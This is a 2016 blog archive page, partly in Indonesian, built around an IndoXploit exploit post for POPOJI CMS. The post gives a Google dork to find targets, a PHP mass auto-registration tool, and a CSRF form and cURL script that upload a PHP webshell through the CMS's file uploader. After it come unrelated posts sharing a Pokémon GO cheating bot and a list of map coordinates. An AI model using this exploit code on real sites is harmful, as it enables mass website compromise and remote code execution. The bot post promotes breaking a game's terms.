Archive for Juli 2016

Home Archive for Juli 2016

#- Title: POPOJI CMS Arbitrary File Upload

#- Author: Mr. Error 404
#- Team : IndoXploit

#- Published : 31/07/2016

#- Developer : popojicms

#- Link Download : popojicms .org/pages/rilis

#- Price : Free
#- Google Dork: "/po-admin/js/"

#- Fixed in Version : -

#- Tested on : windows

=======================================================

-- Proof Of Concept --

Description :

PopojiCMS dibangun di atas Framework Popoji, sangat cocok dibuat website apa saja, bahkan sistem berbasi web untuk profesional. Developer bisa membuat engine berkelasnya sendiri tanpa harus pusing mengubah engine orang lain. PopojiCMS - Engine untuk para developer.

Vulnerability :
site /po-admin/js/plugins/uploader/upload.php

When Vuln :

{"jsonrpc" : "2.0", "result" : null, "id" : "id"}

Post :

array("file" => "@shell.jpg", "name" => "shell.php");

Method

1. Register on web target

2. Using POPOJI CMS Add Admin Auto Registration


<html>
<head>
<title>POPOJI CMS Add Admin Auto Registration</title>
<meta name="author" content="IndoXploit">
<style type="text/css">
html {
 margin: 20px auto;
 background: #000000;
 color: #ffffff;
}
header {
 color: lime;
 font-size: 35px;
 margin: 10px auto;
 text-align: center;
 text-decoration: underline;
}
input[type=text] {
 border: 1px solid #008000;
 color: #bb0000;
 width: 500px;
 height: 20px;
 padding-left: 5px;
 margin: 5px auto;
 background: transparent;
}
input[type=submit] {
 border: 1px solid #008000;
 color: #bb0000;
 background: transparent;
 width: 500px;
}
textarea {
 background: transparent;
 color: #bb0000;
 border: 1px solid #008000;
 resize: none;
 width: 500px;
 height: 250px;
 padding-left: 5px;
 margin: 5px auto;
}
a {
 text-decoration: none;
 color: lime;
}
a:hover {
 text-decoration: underline;
}
</style>
</head>
<?php
set_time_limit(0);
error_reporting(0);

function dav($url, $post=null) {
 $ch = curl_init();
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    if($post != null) {
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HHTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
 return curl_exec($ch);
    curl_close($ch);
}

$sites = explode("\r\n", $_POST['url']);
$user = "indoxploit";
$pass = $user;
$email = htmlspecialchars($_POST['email']);
if($_POST['hajar']) {
 echo "<span style='font-size: 25px; text-decoration: underline; color: lime; margin-bottom: 20px;'>Result Gannnnn</span><p>";
 if(!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
  foreach($sites as $url) {
   if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) {
    $url = "http://".$url;
   } else {
    $url = $url;
   }
   echo "[+] Nyecan -> $url<br>";
   $post_register = array(
    "username" => $user,
    "email" => $email,
    "password" => $pass,
    "re-password" => $pass,
    );
   $register = dav("$url/po-admin/actregister.php", $post_register);
   echo "[+] Register ";
   if(!preg_match("/404|headers already sent|disabled for security reasons|Please type another email!/", $register) AND preg_match("/SUCCESS!!!|>Check your email for next step. Thank you!/", $register)) {
    echo "<font color=lime>OK!</font><br>";
    echo "[+] <font color=gold>Cek emailmu buat aktivasi</font><br>";
    echo "[+] u/p: <font color=lime>$user</font><br><br>";
    $post_login = array(
     "username" => $user,
     "password" => $pass,
     );
   } else {
    echo "<font color=red>Gagal!</font><br><br>";
   }
  }
 } else {
  echo "<font color=red>Emailmu ga valid bosss, email harus valid biar bisa masuk token registrasinyaa.</font>";
 }
} else {
?>
<center>
<header>POPOJI Auto Registration</header>
<form method="post">
Email: <br>
<input type="text" name="email" value="trciksterlicikarus@gmail.com" placeholder="email@asu.com" required><br>
Domains: <br>
<textarea name="url"></textarea><br>
<input type="submit" name="hajar" value="Xploit!">
</form>
</center>
<?php
}
?>
</html>

3. if Complete, check your email & verived your account
4. Login

( Upload Shell )

Csrf


<form method="post" action="http://target.com/po-admin/js/plugins/uploader/upload.php" enctype="multipart/form-data">
<input type="file" name="file">
<input type="hidden" name="name" value="3xploi7.php">
<input type="submit" value="exploit">
</form>

Xampp



<?php

$url = "http://target.com/po-admin/js/plugins/uploader/upload.php"; // put URL Here


$post = array
(
       "file" => "@3xploi7.jpg",
       "name" => "3xploi7.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;

?>

( Upload File )

1. Login

2. Upload your pic / html file in

Account > change avatar

If Succesfully >

Shell Acces ??

Hello, today i share PokeGOBot. PokemonGOBot was created by Radat and this tool edited by GreenGold.

How to use:
1. Unzip file
2. Enter folder where you unziped it and run PokeBotGo.exe (has pokego icon)
3. Enter all data application is asking from you
4. Enjoy

Little FAQ:
Q: What's soft-ban?
A: Soft-ban is a ban from 3 to 24 hours, if you can't use pokestops you have soft-ban.
Q:What's perm-ban?
A:If you are permanently banned you can't use your account permanently (tip: use it on other account not your main!)

NOTE: Use at own risk you can be banned! (Soft-ban or perm-ban)

Best Location To Find Pokemon Go

Germany

D�sseldorf Girardetbr�cke

Berlin Old Town Spandau : 52,53702300 , 13,20301100

Aachen : 50.776309, 6.083505 (4Stops)

Hamburg : 53.5588061, 10.057689399999958 (4 Stops)

Dortmund : 51.552381, 7.309696

Koblenz : 50.363425, 7.605247

D�sseldorf Schloss Benrath : 51.161206, 6.870546 (Magmar)

Essen Steele : 51.448197, 7.075814

Serengeti Park (Hodenhagen) : 52.751040, 9.617021 (Kicklee)